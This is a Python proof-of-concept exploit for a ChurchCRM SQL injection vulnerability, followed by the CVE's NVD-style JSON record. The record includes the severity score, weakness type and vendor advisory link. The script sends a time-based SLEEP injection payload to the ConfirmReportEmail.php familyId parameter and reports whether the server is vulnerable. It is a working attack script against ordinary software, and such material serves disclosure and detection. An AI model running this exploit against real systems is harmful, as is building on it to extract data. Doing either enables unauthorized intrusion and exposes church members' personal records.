CVE-2026-39341

#!/usr/bin/env python3 import requests import time def exploit_sqli(target_url): """ PoC for CVE-2026-39341 Target: ChurchCRM < 7.1.0 Endpoint: /Reports/ConfirmReportEmail.php?familyId= Type: Time-based SQL Injection """ # Construct the vulnerable endpoint full_url = f"{target_url}/Reports/ConfirmReportEmail.php" # Payload to trigger time-based delay # Checks if the database waits for 5 seconds payload = "?familyId=1' AND SLEEP(5)-- -" print(f"[*] Sending payload to: {full_url}") try: start_time = time.time() response = requests.get(full_url + payload, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response took {elapsed_time:.2f} seconds.") print("[+] The application is vulnerable to CVE-2026-39341.") else: print(f"[-] Vulnerability not detected. Response took {elapsed_time:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" exploit_sqli(target)

{"cve": {"id": "CVE-2026-39341", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:46.150", "lastModified": "2026-04-15T20:09:52.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, the application is vulnerable to time-based SQL injection due to an improper input validation. Endpoint Reports/ConfirmReportEmail.php?familyId= is not correctly sanitising user input, specifically, the sanitised input is not used to create the SQL query. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3h69-vjff-jj5c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}